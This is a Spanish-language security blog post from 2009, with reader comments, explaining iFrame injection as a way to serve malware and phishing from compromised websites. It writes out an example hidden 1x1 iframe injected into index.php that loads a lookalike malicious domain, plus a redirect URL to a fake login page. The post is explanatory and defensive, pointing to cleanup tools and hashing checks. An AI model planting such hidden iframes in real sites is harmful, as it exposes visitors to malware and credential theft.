24 de junio de 2009

iFrame Injection

Journalist: Do you think that something like Skynet is possible in the future?

Security Consultant: While just one Security Consultat keep breathing, that won’t happen.

Una cosa que siempre me ha causado cierta admiración es la habilidad e imaginación que las mentes de los “hackers” son capaces de desarrollar a la hora de generar sus ataques. Es una curiosa mezcla entre una gran conocimiento metodológico y sistemático de unos sistemas diseñados por el hombre sobre una base matemática y algebraica que a su vez requiere de gran creatividad e imaginación para obtener nuevas puertas, vulnerabilidades, brechas o como quieras llamarlo sobre sistemas que ya otras muchas personas se estuvieron comiendo la cabeza antes como diseñar. Recuerda un poquito a una partida de ajedrez, los movimientos son conocidos y limitados, pero las posibilidades casi infinitas (como la paradoja del grano de arroz y el tablero de ajedrez).

Esta mañana revisaba un paper con los principales vectores de ataque que el cybercrimen está utilizando en esta primera mitad del 2009, entre los que destacan estos 5:

- SQL Injection

- iFrame Injection

- Encryption Wrappers (malware)

- File Masquerading (algo que ya vimos en el Rosillo Project)

- Encryption techniques in peer to peer systems for bypass web gateways inspection systems.

El documento hace referencia a como los chicos malos utilizan tecnología tan interesante como el Grid Computing para lograr una cantidad ingente de recursos a su disposición (son las conocidas como botnets) y utilizar a su antojo. Independientemente de la opinión que os merezcan estos 5 vectores hay uno del cual llevaba sin escuchar mucho tiempo, es el iFrame Injection.

iFrame Injection

Hagamos un poquito de literatura, un iFrame o “marco incorporado” (que mal suena) es un trozito de codigo HTML que permitirá incrustar un objeto html dentro de una pagina html. Esto puede tener muchas utilidades, entre ellas la publicidad, pero alguien no tardó mucho tiempo en aprovecharse de estos “marcos” con fines delictivos. Todos recordamos esa oleada de correos que en los años 2002-2004 no había siquiera que abrir, ya que incluían código maligno que ejecutaba el gusano anexo del correo que a su vez aprovechaba una vulnerabilidad del Explorer para hacer su trabajo. Toda una interesante vuelta para llegar al objetivo de siempre: comprometer un sistema. Original, ¿verdad?

La idea se ha reciclado un poquito y vuelve a la carga, la definición que se da en el paper es la siguiente:

"iFrame injections can be as small as 1x1 white píxel at the bottom of a web page uncen by the visitor and linked to active scripts that download malware from an obscure Server"

Según Symantec cada dia unas 3000 páginas web son infectadas, algunas de ellas mediante esta técnica que bien podría utilizarse también para hacer phishing, ¿cómo? Supongamos que logro comprometer un servidor web desarrollado en ,,, digamos php (por poner un ejemplo). Supongamos que inyecto en el archivo index.php (los iFrames no son exclusivos del código HTML) el siguiente código maligno:

iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

Como se puede apreciar el atributo de visibilidad está en “oculto”, con lo cual no se mostrará en pantalla, sin embargo se ejecutará. Lo cual cargará una pagina web maligna dentro de “la buena”. Si el sitio ya ha sido catalogado por google como “maligno” es muy probable que nos salte un disclaimer como el siguiente:

Que a su vez nos permitirá ejecutar el “Safebrowsing” de google, quien nos informará del estado de esa Web en los últimos 90 dias, por ejemplo si queremos ver el número de infecciones del Marca nos dirá:

Por lo que podremos ver mañana la victoria de España a EE.UU. con tranquilidad (esperemos). Un consejo, consultad vuestra entidad bancaria, hay alguna sorpresilla.

Esto como suponeis puede ser una pesadilla para un administrador web que tiene que recorrer todas las páginas comprometidas buscando una cadena de texto y eliminándola / reparándola, a veces son cosas tan sencillas como sustituir una referencia por otra:

https://www.victim.foo/index.php?targeturl=http://fake_victim.foo/login.php

Se puede incluso complicar la detección de estas URL para que pase totalmente desapercibida valiéndonos de alguna de las técnicas de “Proxy Jocking” que vimos hace poco, haciéndonos pensar que todo está bien cuando no es así.

Info adicional:

Cleaning iFrame Injections

Frame Injection Fun

Clean.PHP (encuentra patrones conocidos en tu sitio web)

Web Legales en Jaque (Panda - WhitePaper)

Como veis, "nuevas" amenazas para viejos vectores de ataque.

Salu2!

4 comentarios:

eduardo dijo...

iframe-injection no es para tomárselo a broma ...

Hace no mucho, uno de nuestros clientes, un banco bastante importante, sufrió un ataque de phising bastante feo en el que simplemente te presentaban una web en la que te pedían el usuario, la password, el nif y datos de la tarjeta de coordenadas. Y, aparentemente, para el usuario todo estaba bien (barra de navegación en verde, simbolito de verisign, ...).

Ahora es bastante común que los bancos calculen hashes de las web cuando las reciben y las comparen, o al menos de una parte, que usen variables con nombres que mutan cada día, etc ... Pero estos ataques, junto con XSS, son bastante-bastante chungos en cuanto a phising se refiere.

Y es muy difícil asegurar que una web está exenta de ellos. Hay demasiadas cosas que mirar.

¡¡buen artículo!!

Saludos,
Eduardo.

GigA ~~ dijo...

Esa página habría venido bien para el juego de las diferencias de la anterior entrada :-)

La verdad hacía mucho tiempo que no oía hablar de esto, desde luego no es la técnica más sencilla ya que requiere de comprometer el servidor web inicialmente. Técnicas como el hashing de la web ayudan a prevenir estos ataques, ahora bien, ¿dónde almacenas los hash con los que comparas?, ¿como te proteges de las colisiones? es necesario un bastionado bastante fuerte y una defensa en profundidad, sino estás con las mismas.

No hay que tomárselo a broma no..

Salu2!

javcasta dijo...

La evolución de los sistemas es análogo al de las especies. Solo sobreviven los fuertes. Con lo que redunda en mejores sistemas. Las víctimas solo son efectos colaterales de la evolución. Jo, menudo punto de vista, un tanto fascista creo que me ha salido. Lo voy a meditar ;-)

GigA ~~ dijo...

Si es verdad que el hombre plasma la naturaleza que conoce y la suya propia en las cosas que crea, ahora bien, de ahí a que exista una similitud entre la evolución de Darwin y el Software va un rato, evidentemente por que nosotros no somos tan despiadados como la naturaleza (o si).

Habrá que darle otra vuelta si :)